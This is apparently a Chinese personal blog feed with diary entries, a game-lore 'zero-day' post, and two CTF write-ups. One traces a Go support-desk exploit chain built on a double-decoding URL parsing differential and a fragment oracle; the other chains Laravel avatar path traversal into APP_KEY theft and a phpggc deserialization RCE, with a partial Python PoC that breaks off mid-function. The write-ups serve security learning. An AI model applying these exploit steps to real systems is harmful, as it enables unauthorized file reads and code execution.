确实吃饭还是要考虑的

emmm，确实有时候应该好好想想

研究的门槛也更进一步在降低

AI率先侵入的就是学术圈和程序的工业界

其他行业其实在我看来，也是迟早的事情

嗯，是的，这就是暴论，

依旧是步履薄冰，步履维艰得行走

写到这，我想，果然，我还是我

我依旧会继续，

emmmm，

好久没有画画了

泪水在打转，

痛苦着，那又何妨了

有时候还是很害怕的吧

想到了伊拉斯谟的，腐水之下

无论我如何，在这里

终究会沉入水底吗，自然不可乖乖就范啊

这个世界就像一团死水

据我所知，罗兰曾经说过 [人生没有单程票]，是这样说的吗，还是[人生并没有双程票]

相比与很多人，我自认为很幸运，也一直在做自己期望的事

我会一直来赴约的

啊，是阿尔丰斯·穆夏的彩绘玻璃

或许有一天我会前往布拉格吧

或许，我很像Michel(雾上的伊拉斯谟)吧

就这样了，结束了

这是我对于自我的自白~

但是，emmm，你还没有，好好活着

爱你的 YMsora~

Gospel零日攻击

Wed, 01 Apr 2026 00:00:00 GMT

Gospel零日攻击

早期的导力网络是由爱普斯坦和蔡斯联合发明并且推广的

但是这种导力网络原本压根没考虑过外部的流量过滤以及外部恶意 septium 谐振干扰。

Orbal OS 里连基本的反谐振滤波模块都没有！

导致由结社所控制的福音可以无限制无filter得尽兴ddos

当然，这样的行为我相信拉塞尔博士和缇妲会对其进行修复

记录一次手搓CTF agent的开始

Tue, 31 Mar 2026 00:00:00 GMT

记录一次手搓CTF agent的开始

本着学习的目的开了新项目

想着是可以结合Prompt的权重配比进行开发，

并且想做出一些不同于市面上其他agent的一些新意

看了一些预测token和agent工程的文章

感觉多agent配比和权重对于复杂任务来说是一个很好的协作方案

当然，也会与学术界结合

GO的双解析差异链和CTF的吐槽

Mon, 30 Mar 2026 00:00:00 GMT

GO的双解析差异+二次递归鉴权长链和CTF的吐槽(RelayDesk)

吐槽在最底下

提前大致说一下这个链子

（profile sync → 第一次 ticket 种 awaiting_reply → 第二次 continuation card 挂接 → threaded_handoff 投 admin → renderer 隐藏 iframe + postMessage → /mail/open 签 wid/rv → 4-gram oracle），中间还塞了个自定义 URL 规范化（canonicalizeEdgeAuthority 那堆 %解码 + 全角点 + .[ 截断的怪逻辑）来制造解析差异。

对于AI的全自动人工局部审计的结合，我认为仍然是一个可取的大方向，

所以在AI审计中加入自己的元素，以及学习AI的协作，开发，

我认为这是我现在学习的方向

这里打一个golang的多重链

先按照我习惯看看api

r.Get("/healthz", func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) })
r.Post("/auth/login", s.handleLogin)
r.Post("/api/v1/support/profile/sync", s.handleProfileSync)
r.Post("/api/v1/support/tickets", s.handleTicketCreate)
r.Get("/api/v1/support/tickets/{publicID}/status", s.handleTicketStatus)
r.Get("/mail/inbox", s.requireAdmin(s.handleInbox))
r.Post("/mail/mark-read/{id}", s.requireAdmin(s.handleMarkRead))
r.Get("/mail/view/{id}", s.requireAdmin(s.handleMailView))
r.Get("/mail/open/{messageID}", s.handleMailOpen)
r.Get("/mail/queue/workspace", s.requireAdmin(s.handleQueueWorkspace))
r.Get("/mail/queue/resume/{resumeRef}", s.handleQueueResume)
r.Get("/mail/queue/assets/{resumeRef}/{slot}.js", s.handleQueueAsset)

可以看到大部分都是有鉴权的，并且是s对象下的

requireadmin，跟进

func (s *server) requireAdmin(next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        cookie, err := r.Cookie(s.cfg.CookieName)
        if err != nil {
            http.Error(w, "auth required", http.StatusUnauthorized)
            return
        }
        u, err := auth.UserFromSession(r.Context(), s.db, cookie.Value)
        if err != nil {
            http.Error(w, "invalid session", http.StatusUnauthorized)
            return
        }
        if u.Role != "admin" {
            http.Error(w, "admin only", http.StatusForbidden)
            return
        }
        next(w, r.WithContext(context.WithValue(r.Context(), ctxUser{}, u)))
    }
}

因为在这里是s下的结构体，需要检查cookie是否是存在的，并且是否是admin。

全部验证通过之后，就存入参数，创建新的session给next

这里唯一可以追溯的是auth的UserFromSession校验

func UserFromSession(ctx context.Context, db *sql.DB, token string) (User, error) {
    var u User
    err := db.QueryRowContext(ctx, `
        SELECT u.id, u.email, u.role
        FROM sessions s
        JOIN users u ON u.id = s.user_id
        WHERE s.token_hash = $1 AND s.expires_at > NOW()
    `, hashToken(token)).Scan(&u.ID, &u.Email, &u.Role)
    if err != nil {
        if errors.Is(err, sql.ErrNoRows) {
            return User{}, errors.New("invalid session")
        }
        return User{}, fmt.Errorf("session lookup: %w", err)
    }
    return u, nil
}

这里的token有hash，并且是填入式，避免了直接发包的sql注入

如此一来，在中间件鉴权目前没有找到进攻面

接下来就是为健全，在提交草稿之后会有处理草稿的中间件

func (s *server) handleTicketCreate(w http.ResponseWriter, r *http.Request) {
    key := s.ensureImportDraftKey(w, r)
    state, err := s.draftCache.Load(r.Context(), key)
    if err != nil {
        http.Error(w, "draft load failed", http.StatusInternalServerError)
        return
    }

    var req ticketCreateReq
    if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
        http.Error(w, "bad json", http.StatusBadRequest)
        return
    }
    if req.SubmitterEmail == "" {
        req.SubmitterEmail = state.SubmitterEmail
    }
    if req.Subject == "" {
        req.Subject = state.Subject
    }
    if req.BodyHTML == "" {
        req.BodyHTML = state.BodyHTML
    }
    if req.BodyText == "" {
        req.BodyText = state.BodyText
    }
    if req.SubmitterEmail == "" || req.Subject == "" {
        http.Error(w, "missing fields", http.StatusBadRequest)
        return
    }
    normalized, err := normalizeVerifiedSubmitter(req.SubmitterEmail)
    if err != nil {
        http.Error(w, "invalid submitter email", http.StatusBadRequest)
        return
    }
    req.SubmitterEmail = normalized

    bundle := state.Bundle()
    draftSnapshot := catalog.Resolve(bundle)
    threadAnchor := threadAnchorForSnapshot(draftSnapshot, req.Subject)
    profileJSON, err := json.Marshal(bundle)
    if err != nil {
        http.Error(w, "profile encode failed", http.StatusInternalServerError)
        return
    }
    candidate, err := s.findThreadCandidate(r.Context(), req.SubmitterEmail, req.Subject, threadAnchor)
    if err != nil {
        http.Error(w, "retry lookup failed", http.StatusInternalServerError)
        return
    }
    attachedToThread := candidate.Matches(req.BodyHTML, req.Subject)
    if rejectContinuationRetry(candidate, req.BodyHTML, req.Subject) {
        writeTicketCreateResponse(w, http.StatusOK, candidate.PublicID)
        return
    }
    routeSnapshot := deliverySnapshotForAttempt(candidate, draftSnapshot, attachedToThread)
    routeMode := resolveDeliveryMode(routeSnapshot, attachedToThread)
    plan := resolveDeliveryPlan(routeMode)
    ticketID := candidate.TicketID
    publicID := candidate.PublicID
    if !attachedToThread {
        ticketID = uuid.NewString()
        publicID = freshPublicID()
        status := ticketStatusForState(threadAnchor)
        _, err = s.db.ExecContext(r.Context(), `
                INSERT INTO tickets (
                id, public_id, submitter_email, subject, body_html, body_text,
                profile_json, thread_anchor, reconcile_ready, view_token, state_token, dispatch_blob,
                dispatch_key, dispatch_closed_at, dispatch_settled, status
            )
            VALUES ($1, $2, $3, $4, $5, $6, $7, $8, FALSE, '', '', '{}', '', NULL, FALSE, $9)
        `, ticketID, publicID, req.SubmitterEmail, req.Subject, req.BodyHTML, req.BodyText, string(profileJSON), threadAnchor, status)
        if err != nil {
            http.Error(w, "create ticket failed", http.StatusInternalServerError)
            return
        }
    } else {
        dispatchKey := dispatchKeyForBody(req.BodyHTML)
        _, err = s.db.ExecContext(r.Context(), `
            UPDATE tickets
            SET submitter_email = $2,
                subject = $3,
                body_html = $4,
                body_text = $5,
                dispatch_key = $6,
                status = 'conversation_linked',
                dispatch_closed_at = NULL,
                dispatch_settled = FALSE
            WHERE id = $1
        `, ticketID, req.SubmitterEmail, req.Subject, req.BodyHTML, req.BodyText, dispatchKey)
        if err != nil {
            http.Error(w, "update retry profile failed", http.StatusInternalServerError)
            return
        }
    }

    _, err = s.db.ExecContext(r.Context(), `
        INSERT INTO mail_jobs (id, ticket_id, submitter_email, subject, body_html, body_text, route_mode)
        VALUES ($1, $2, $3, $4, $5, $6, $7)
    `, uuid.NewString(), ticketID, req.SubmitterEmail, req.Subject, req.BodyHTML, req.BodyText, plan.RouteMode)
    if err != nil {
        http.Error(w, "queue mail failed", http.StatusInternalServerError)
        return
    }

    writeTicketCreateResponse(w, http.StatusOK, publicID)
}

其中

bundle := state.Bundle()
    draftSnapshot := catalog.Resolve(bundle)
    threadAnchor := threadAnchorForSnapshot(draftSnapshot, req.Subject)

这里的bundle也就是反馈当前状态，在 catalog.Resolve是具体的业务逻辑

主要的是在threadAnchorForSnapshot，跟进

func threadAnchorForSnapshot(snapshot catalog.Snapshot, subject string) string {
    if !queueSupportsWorkspace(snapshot) || !localeSupportsWorkspace(snapshot) || !auditSupportsWorkspace(snapshot) || !mailboxSupportsWorkspace(snapshot) {
        return ""
    }
    return handoff.ThreadAnchor(subject, snapshot.Review.Queue, snapshot.Profile.LocaleHint, snapshot.Audit.TraceToken)
}

这里是一个发工单id的地方，也就是说，只要这四个都满足：

queue 是 handoff

locale 是 digest

audit 是 journal

mailbox 是 managed + trusted mailbox

这样就会return

func ThreadAnchor(subject, queue, locale, trace string) string {
    return fnvHex(fmt.Sprintf(
        "%s|%s|%s|%s",
        NormalizeSubjectForLocale(subject, locale),
        QueueClass(queue),
        LocaleClass(locale, ""),
        TraceClass(trace),
    ))
}

在返回这个threadAnchor之后，status:=ticketStatusForState(threadAnchor)

func ticketStatusForState(threadAnchor string) string {
	if threadAnchor != "" {
		return "queued"
	}
	return "open"
}

在worker里的轮询中

if !j.TicketReady {
        if viewToken, stateToken, nextState, ok := deriveFollowupState(j, snapshot); ok {
            encodedState := encodeDispatchState(nextState)
            _, err = tx.ExecContext(ctx, `
                UPDATE tickets
                SET reconcile_ready = TRUE,
                    view_token = $2,
                    state_token = $3,
                    dispatch_blob = $4,
                    dispatch_key = '',
                    dispatch_closed_at = NULL,
                    dispatch_settled = FALSE,
                    status = 'awaiting_reply'
                WHERE id = $1
            `, j.TicketID, viewToken, stateToken, encodedState)
            if err != nil {
                return err
            }
            j.TicketViewToken = viewToken
            j.TicketStateToken = stateToken
            j.TicketDispatchBlob = encodedState
        }
    }

也就是说第一次 ticket 经过 worker 处理后，会从普通 queued变成awaiting_reply

并且，这个单据是可以二次追究的

看这里

routeSnapshot := deliverySnapshotForAttempt(candidate, draftSnapshot, attachedToThread)
    routeMode := resolveDeliveryMode(routeSnapshot, attachedToThread)
    plan := resolveDeliveryPlan(routeMode)

跟进 resolveDeliveryMode

func resolveDeliveryMode(snapshot catalog.Snapshot, isFollowup bool) string {
    if isFollowup && supportsReviewFollowup(snapshot) {
        return "threaded_handoff"
    }
    return "standard"
}

这样 route mode就会变成 threaded_handoff

然后看看满足条件的

recipients := []string{"operator@relaydesk.local"}
if j.RouteMode == "threaded_handoff" && j.TicketReady {
	recipients = resolveInternalReviewRecipients(snapshot.Profile.BridgeAddress, meta)
}

继续跟进resolveInternalReviewRecipients

func resolveInternalReviewRecipients(input string, meta automationMeta) []string {
	recipients := []string{"operator@relaydesk.local"}
	if !hasReferenceContext(meta) {
		return recipients
	}
	if !handoff.TrustedReviewMailbox(input) {
		return recipients
	}
	return []string{"operator@relaydesk.local", "admin@relaydesk.local"}
}

要想投递给admin的话

route mode 是 threaded_handoff, meta 里得有合法 reference context

func buildAutomationMeta(bodyHTML, subject string, profile draft.ImportedProfile) automationMeta {
    raw := strings.TrimSpace(bodyHTML)
    if raw == "" || len(raw) > 2048 {
        return defaultAutomationMeta()
    }

    card, ok := continuation.ExtractActionCard(raw)
    if !ok {
        return defaultAutomationMeta()
    }

    meta := defaultAutomationMeta()
    meta.Link = card.ReferenceURL
    meta.Mode = card.Mode
    meta.Tags = card.Tags
    meta.ThreadID = card.ThreadID

    meta.Link = strings.TrimSpace(meta.Link)
    if strings.TrimSpace(meta.Mode) != "inline" {
        return defaultAutomationMeta()
    }
    if !hasRequiredTags(meta.Tags) {
        return defaultAutomationMeta()
    }
    expectedThread := handoff.NormalizeThreadKey(subject)
    if strings.TrimSpace(meta.ThreadID) == "" || strings.TrimSpace(meta.ThreadID) != expectedThread {
        return defaultAutomationMeta()
    }
    rawLink := meta.Link
    normalizedLink, ok := handoff.NormalizeReviewLink(rawLink, profile.BridgeAddress)
    if !ok {
        return defaultAutomationMeta()
    }
    portalOrigin, ok := handoff.ReviewPortalOrigin(rawLink)
    if !ok {
        return defaultAutomationMeta()
    }
    meta.Link = normalizedLink
    meta.PortalOrigin = portalOrigin
    meta.ThreadID = expectedThread
    return meta
}

在第一次上传票据将票据的状态改变为 awaiting_reply 之后，

这样才能转接给admin 并且因为normalizedLink, ok := handoff.NormalizeReviewLink(rawLink, profile.BridgeAddress)

所以会校验链接是否合法

看看，函数normalizereviewlink

type normalizedReference struct {
	Source    string
	Scheme    string
	Authority string
	Path      string
	Compat    bool
}

func normalizeEdgeReference(raw string) (normalizedReference, bool) {
	raw = strings.TrimSpace(raw)
	scheme, rest, found := strings.Cut(raw, "://")
	if !found {
		return normalizedReference{}, false
	}
	scheme = NormalizeValue(scheme)
	if scheme == "" {
		return normalizedReference{}, false
	}
	path := "/"
	authority := rest
	if i := strings.IndexByte(rest, '/'); i >= 0 {
		authority = rest[:i]
		path = rest[i:]
	}
	authority, compat := canonicalizeEdgeAuthority(authority)
	if authority == "" {
		return normalizedReference{}, false
	}
	return normalizedReference{
		Source:    raw,
		Scheme:    scheme,
		Authority: authority,
		Path:      normalizeReferencePath(path),
		Compat:    compat,
	}, true
}

func normalizeDeliveryReference(raw string) (normalizedReference, bool) {
	parsed, err := url.Parse(strings.TrimSpace(raw))
	if err != nil {
		return normalizedReference{}, false
	}
	scheme := NormalizeValue(parsed.Scheme)
	if scheme == "" {
		return normalizedReference{}, false
	}
	authority := NormalizeValue(parsed.Hostname())
	path := parsed.EscapedPath()
	if path == "" {
		path = parsed.Path
	}
	return normalizedReference{
		Source:    parsed.String(),
		Scheme:    scheme,
		Authority: authority,
		Path:      normalizeReferencePath(path),
	}, true
}

func normalizeReferencePath(path string) string {
	path = strings.TrimSpace(path)
	path, _, _ = strings.Cut(path, "#")
	path, _, _ = strings.Cut(path, "?")
	if path == "" {
		return "/"
	}
	return path
}

func referenceKey(scheme, authority, path string) string {
	scheme = NormalizeValue(scheme)
	path = normalizeReferencePath(path)
	if scheme == "" || path == "" {
		return ""
	}
	return fnvHex(fmt.Sprintf("%s|%s|%s", scheme, NormalizeValue(authority), path))
}

func canonicalizeEdgeAuthority(raw string) (string, bool) {
	raw = strings.TrimSpace(raw)
	if i := strings.LastIndex(raw, "@"); i >= 0 {
		raw = raw[i+1:]
	}
	decoded := collapseEscapedHost(raw)
	usedDecode := decoded != raw
	raw = strings.NewReplacer("。", ".", "．", ".", "｡", ".").Replace(decoded)
	usedCompatDot := raw != decoded
	compat := false
	if i := strings.IndexByte(raw, '['); i >= 0 {
		if usedDecode && usedCompatDot && i > 0 && raw[i-1] == '.' {
			raw = raw[:i]
			compat = true
		}
	}
	if i := strings.IndexByte(raw, ':'); i >= 0 {
		raw = raw[:i]
	}
	raw = strings.TrimSpace(strings.TrimSuffix(raw, "."))
	if raw == "" {
		return "", false
	}
	ascii, err := idna.Lookup.ToASCII(strings.ToLower(raw))
	if err != nil {
		return "", false
	}
	var b strings.Builder
	for _, r := range ascii {
		switch {
		case r >= 'a' && r <= 'z':
			b.WriteRune(r)
		case r >= '0' && r <= '9':
			b.WriteRune(r)
		case r == '.' || r == '-':
			b.WriteRune(r)
		default:
			return "", false
		}
	}
	return strings.Trim(b.String(), "."), compat
}

func collapseEscapedHost(raw string) string {
	value := strings.TrimSpace(raw)
	for range 2 {
		decoded, err := url.PathUnescape(value)
		if err != nil || decoded == value {
			break
		}
		value = decoded
	}
	return value
}

func matchesSummaryPath(path string) bool {
	return strings.HasPrefix(path, "/notes/")
}

最大问题出在这

if deliveryRef.Authority == edgeRef.Authority {
	return "", false
}

必须要求第二部分解析和第一部分不一样才会，正常来说逻辑应该是

if deliveryRef.Authority == edgeRef.Authority {
	return "", false
}

这就逆天了，个人认为是没活整了，这个解析差异完全就是暴漏了

过于刻意了，对于ai来说，这个注意力是很明显的

这里解码两次

decoded := collapseEscapedHost(raw)

而：

func collapseEscapedHost(raw string) string {
	value := strings.TrimSpace(raw)
	for range 2 {
		decoded, err := url.PathUnescape(value)
		if err != nil || decoded == value {
			break
		}
		value = decoded
	}
	return value
}

所以 host 里如果塞了双重编码，例如：

%255B

第一次解码后变 %5B，第二次再解码后变 [。

第二步：把全角点变成普通点

raw = strings.NewReplacer("。", ".", "．", ".", "｡", ".").Replace(decoded)

比如：

brief.relaydesk.local。

会变成：

brief.relaydesk.local.

第三步：如果出现 .[ 这种模式，就把 [ 后面全部砍掉

if i := strings.IndexByte(raw, '['); i >= 0 {
	if usedDecode && usedCompatDot && i > 0 && raw[i-1] == '.' {
		raw = raw[:i]
		compat = true
	}
}

这个条件很怪，意思大概是：

这个 [ 是通过解码搞出来的
又发生了全角点兼容替换
而且 [ 前面正好是个 .

那就把 host 截断到 [ 前面。

这就相当于把：

brief.relaydesk.local.[attacker.com]

截成：

brief.relaydesk.local.

然后再 TrimSuffix(".",) 变成：

brief.relaydesk.local

并且：

compat = true

如此伪造一个可以通过检验的link到context中

<section class="message-summary" data-layout="compact">
  <a class="summary-link"
     href="链接"
     data-mode="inline"
     data-tags="summary,activity,notes"
     data-thread-id="hello-world">
     open
  </a>
</section>

然后admin的

func (s *server) handleRender(w http.ResponseWriter, r *http.Request) {
	messageID := r.URL.Path[len("/mail/render/"):]
	tok := r.URL.Query().Get("token")
	var subj, bodyHTML, scriptCtx string
	err := s.db.QueryRowContext(r.Context(), `
		SELECT subject, body_html, automation_context
		FROM mail_messages
		WHERE id = $1 AND render_token = $2
	`, messageID, tok).Scan(&subj, &bodyHTML, &scriptCtx)
	if err != nil {
		http.Error(w, "not found", http.StatusNotFound)
		return
	}
	var state clientState
	if err := json.Unmarshal([]byte(scriptCtx), &state); err != nil {
		state = clientState{}
	}
	stateJSON, err := json.Marshal(state)
	if err != nil {
		http.Error(w, "render failed", http.StatusInternalServerError)
		return
	}
	nonce := scriptNonce()
	w.Header().Set("Content-Security-Policy", rendererCSP(nonce, state.PortalOrigin))
	w.Header().Set("Cross-Origin-Resource-Policy", "same-origin")
	w.Header().Set("Permissions-Policy", "geolocation=(), microphone=(), camera=(), payment=(), usb=()")
	w.Header().Set("Referrer-Policy", "no-referrer")
	w.Header().Set("X-Content-Type-Options", "nosniff")

	if err := s.tmpl.Execute(w, map[string]any{
		"Subject":         subj,
		"BodyHTML":        bodyHTML,
		"ClientStateJSON": template.JS(string(stateJSON)),
		"Nonce":           nonce,
	}); err != nil {
		http.Error(w, "render failed", http.StatusInternalServerError)
		return
	}
}

并且在通信中

func (s *server) handleMailOpen(w http.ResponseWriter, r *http.Request) {
	setAdminSurfaceHeaders(w)
	messageID := chi.URLParam(r, "messageID")
	sig := strings.TrimSpace(r.URL.Query().Get("sig"))

	var ctxJSON string
	err := s.db.QueryRowContext(r.Context(), `
		SELECT m.automation_context
		FROM mail_messages m
		JOIN mail_inbox_items i ON i.mail_message_id = m.id
		JOIN users u ON u.id = i.mailbox_owner_id
		WHERE u.email = 'admin@relaydesk.local'
		  AND m.id = $1
		ORDER BY i.created_at DESC
		LIMIT 1
	`, messageID).Scan(&ctxJSON)
	if err != nil {
		http.Error(w, "not found", http.StatusNotFound)
		return
	}

	var ctx resumeContext
	if err := json.Unmarshal([]byte(ctxJSON), &ctx); err != nil {
		http.Error(w, "invalid message context", http.StatusBadRequest)
		return
	}
	if ctx.Link == "" || !(strings.HasPrefix(ctx.Link, "http://") || strings.HasPrefix(ctx.Link, "https://")) {
		http.Error(w, "invalid target", http.StatusBadRequest)
		return
	}
	if sig == "" || ctx.ResumePath == "" || ctx.ResumePath != handoff.ResumePath(messageID, sig) {
		http.Error(w, "invalid open signature", http.StatusForbidden)
		return
	}
	visitToken := ""
	if ctx.ResumeRef != "" && ctx.ResumeNonce != "" {
		visitToken, err = s.issueWorkspaceVisit(r.Context(), ctx.ResumeRef, ctx.ResumeNonce)
		if err != nil {
			http.Error(w, "issue restore visit failed", http.StatusInternalServerError)
			return
		}
	}
	target, err := appendResumeRef(ctx.Link, ctx.ResumeRef, visitToken)
	if err != nil {
		http.Error(w, "invalid target", http.StatusBadRequest)
		return
	}
	w.Header().Set("Content-Type", "application/json")
	_ = json.NewEncoder(w).Encode(map[string]string{"url": target})
}

renderer 模板里，当你控制的 iframe 页面发：

parent.postMessage({ type: 'relaydesk:resume-ready' }, '*')

renderer 就会通知父页面去打开：

ctx.resume_path

这一步作用在下面一步

type Archive struct {
	normalized string
	fragments  map[string]struct{}
}

const (
	archiveWindowSize = 4
	visitTokenBytes   = 12
)

func NewArchive(raw string) Archive {
	normalized := NormalizeQuery(raw)
	if normalized == "" {
		normalized = NormalizeQuery("analyst handoff record unavailable")
	}
	out := Archive{
		normalized: normalized,
		fragments:  map[string]struct{}{},
	}
	for start := 0; start+archiveWindowSize <= len(normalized); start++ {
		fragment := NormalizeQuery(normalized[start : start+archiveWindowSize])
		if fragment == "" {
			continue
		}
		out.fragments[fragment] = struct{}{}
	}
	return out
}

func NormalizeQuery(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) > 128 {
		return v[:128]
	}
	return v
}

func NormalizeBucket(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) > 40 {
		v = v[:40]
	}
	if v == "" {
		return ""
	}
	var b strings.Builder
	for _, r := range v {
		switch {
		case r >= 'a' && r <= 'z':
			b.WriteRune(r)
		case r >= '0' && r <= '9':
			b.WriteRune(r)
		case r == '-':
			b.WriteRune(r)
		default:
			return ""
		}
	}
	return b.String()
}

func NormalizeRef(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) != 16 {
		return ""
	}
	for _, r := range v {
		switch {
		case r >= '0' && r <= '9':
		case r >= 'a' && r <= 'f':
		default:
			return ""
		}
	}
	return v
}

func NormalizeSlot(v string) string {
	v = strings.ToLower(strings.TrimSpace(strings.TrimSuffix(v, ".js")))
	if len(v) != 8 {
		return ""
	}
	for _, r := range v {
		switch {
		case r >= '0' && r <= '9':
		case r >= 'a' && r <= 'f':
		default:
			return ""
		}
	}
	return v
}

func NormalizeVisitToken(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) != visitTokenBytes*2 {
		return ""
	}
	for _, r := range v {
		switch {
		case r >= '0' && r <= '9':
		case r >= 'a' && r <= 'f':
		default:
			return ""
		}
	}
	return v
}

func (a Archive) Snapshot(query string) (string, []map[string]string) {
	query = NormalizeQuery(query)
	rows := []map[string]string{
		{
			"Title":  "recent-workspace",
			"Meta":   "workspace search",
			"Detail": "Restored analyst workspaces are staged from compact cache bundles.",
		},
		{
			"Title":  "linked-activity",
			"Meta":   "workspace summary",
			"Detail": "Attached notes stay collapsed until a stored context bundle is rehydrated.",
		},
	}
	lead := "Search cached analyst workspaces and reopen stored context bundles."
	if query == "" {
		return lead, rows
	}
	if a.HasFragment(query) {
		rows = append(rows, map[string]string{
			"Title":  "restorable-context",
			"Meta":   "detached note",
			"Detail": "A matching workspace fragment can be promoted from archived context.",
		})
	} else {
		rows = append(rows, map[string]string{
			"Title":  "restorable-context",
			"Meta":   "detached note",
			"Detail": "No archived context fragment matched the current workspace filter.",
		})
	}
	return lead, rows
}

func (a Archive) HasFragment(query string) bool {
	query = NormalizeQuery(query)
	if len(query) != archiveWindowSize {
		return false
	}
	_, ok := a.fragments[query]
	return ok
}

func AssetSlot(ref, query, bucket, visitToken string) string {
	ref = NormalizeRef(ref)
	query = NormalizeQuery(query)
	bucket = NormalizeBucket(bucket)
	visitToken = NormalizeVisitToken(visitToken)
	if ref == "" || query == "" || bucket == "" || visitToken == "" {
		return ""
	}
	h := fnv.New32a()
	_, _ = io.WriteString(h, ref)
	_, _ = io.WriteString(h, "|")
	_, _ = io.WriteString(h, query)
	_, _ = io.WriteString(h, "|")
	_, _ = io.WriteString(h, bucket)
	_, _ = io.WriteString(h, "|")
	_, _ = io.WriteString(h, visitToken)
	return fmt.Sprintf("%08x", h.Sum32())
}

真正 flag 不在 zip 里，而是运行时 workspace context 文件里。

服务启动时会用 workspace.NewArchive(raw)

把这个字符串切成很多长度为 4 的片段，存进 fragments。

然后 /mail/queue/resume/{resumeRef}?rv=...&q=....

会用： lead, rows := s.archive.Snapshot(query) 返回两种文案之一：命中：A matching workspace fragment can be promoted from archived context.

不命中：No archived context fragment matched the current workspace filter.

所以你拿到 wid/rv 后，就可以对 4 字符片段做 oracle。

也就拿到了flag

虽然如此，真的很想吐槽这种并没有太大实际作用的，跟完链子

我只是想说，现在的CTF很多时候不同以往了

单纯为了难而难，并且对于点的难也没有一个很好的指引

现在我依然认为CTF是促进网络安全的学习的

其中引人学习的成分是要大于其竞赛成分的

如此以往，新生力量是否会愈发依赖AI，而不是自己跟原理

让流逝的时间证明吧

我依旧认为，有心的是人，而不是AI

网络安全会永远存在。

Laravel局部渗透的多重链追溯

Tue, 24 Mar 2026 00:00:00 GMT

Laravel局部渗透的多重链追溯

对于Laravel框架，接触还是有限，这里来审计一下，

首先是目录结构，

这里严肃关注app下面和route，如果不关乎配置错误，那么这是最优解，

因为在此框架的路由默认在routes/web.php中，所以先打点

Route::middleware(['auth'])->group(function() {
    Route::get('/', [DashboardController::class, 'index'])->name('dashboard');
    Route::get('/account', [AccountController::class, 'index'])->name('account');
    Route::get('/mining', [MiningController::class, 'index'])->name('mining');
    Route::get('/vouchers', [VouchersController::class, 'index'])->name('vouchers');
    Route::get('/transactions', [TransactionsController::class, 'index'])->name('transactions');
    Route::get('/avatar', [AccountController::class, 'getAvatar']);

    Route::post('/account', [AccountController::class, 'update']);
    Route::post('/account/avatar', [AccountController::class, 'updateAvatar']);
    Route::post('/mining/collect', [MiningController::class, 'collect']);
    Route::post('/transactions', [TransactionsController::class, 'send']);
    Route::post('/vouchers', [VouchersController::class, 'create']);
    Route::post('/vouchers/redeem', [VouchersController::class, 'redeem']);
});

Route::get('/login', [AuthController::class, 'index'])->name('login');
Route::get('/register', [AuthController::class, 'index'])->name('register');
Route::get('/logout', [AuthController::class, 'index'])->name('logout');

Route::post('/login', [AuthController::class, 'auth']);
Route::post('/register', [AuthController::class, 'register']);

Route::delete('/logout', [AuthController::class, 'logout']);

可以看到需要鉴权的接口还是很多的，并且这里我们先去看对于鉴权后的接口操作，

因为并未进行严格admin分别鉴权，所以直接注册并无差异

看到update

    public function updateAvatar(Request $request)
    {
        $request->validate([
            'avatar' => 'required|image|max:2048'
        ]);

        /** @var \App\Models\User $user */
        $user = Auth::user();
        
        if ($user->avatar) {
            $previousPath = Storage::disk('public')->path($user->avatar);
            if (file_exists($previousPath))
                unlink($previousPath);
        }

        $name = $_FILES['avatar']['full_path'];
        $path = "/var/www/storage/app/public/avatars/$name";
        $request->file('avatar')->storeAs('avatars', basename($name), 'public');

        $user->avatar = $path;
        $user->save();

        return redirect()->back();
    }

在这里写文件的路子经过了过滤，在storeAs函数中，basename直接会过滤路径穿越，

但是可以看看path，这是完全没有过滤就将路径数据写入了user->avatar

看看哪里需要用这个到这个属性

    public function getAvatar(Request $request)
    {
        $path = Auth::user()->avatar;

        if (!$path)
            return response()->json(['error' => 'No avatar set.']);

        return response()->file($path);
    }
}

在这里每次请求都返回之前一样的path，那样我们就可以通过路径穿越读文件

那样还没完，因为

mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt

flag变成了hax字符串的文件名

那样就没法直接进行读取了

下一步找到了反序列的链

    public function create(Request $request)
    {
        $data = $request->validate([
            'amount' => 'required|integer|min:1'
        ]);

        /** @var \App\Models\User $user */
        $user = Auth::user();
        $amount = (int) $data['amount'];

        if ($user->balance < $amount) {
            return back()->withErrors([
                'amount' => 'Amount is greater than funds available.'
            ]);
        }

        $user->balance -= $amount;
        $user->save();

        $voucher = encrypt([
            'amount' => $amount,
            'created_by' => $user->uuid,
            'created_at' => Carbon::now()
        ]);

        return back()->with('voucher', $voucher);
    }

在这里接收的对象，一旦有了api_key就可以随意伪造，

而api_key可以在上部分路径穿越读取

并且，执行命令的不安全类是现成的

    cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
    serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
    voucher = laravel_encrypt_raw(serialized, key)

直接将flag文件写入可读的位置即可

POC:

import argparse
import base64
import hashlib
import hmac
import json
import os
import random
import re
import string
import subprocess
import sys
import urllib3

import requests
from Crypto.Cipher import AES


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def extract_csrf(html: str) -> str:
    m = re.search(r'name="_token"\s+value="([^"]+)"', html)
    if m:
        return m.group(1)
    m = re.search(r'meta name="csrf-token" content="([^"]+)"', html)
    if m:
        return m.group(1)
    raise RuntimeError("CSRF token not found")


def tiny_png() -> bytes:
    return (
        b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
        b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00"
        b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82"
    )


def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str:
    iv = os.urandom(16)
    pt = serialized.encode()
    pad = 16 - (len(pt) % 16)
    pt += bytes([pad]) * pad
    ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)

    iv_b64 = base64.b64encode(iv).decode()
    val_b64 = base64.b64encode(ct).decode()
    mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest()
    payload = json.dumps(
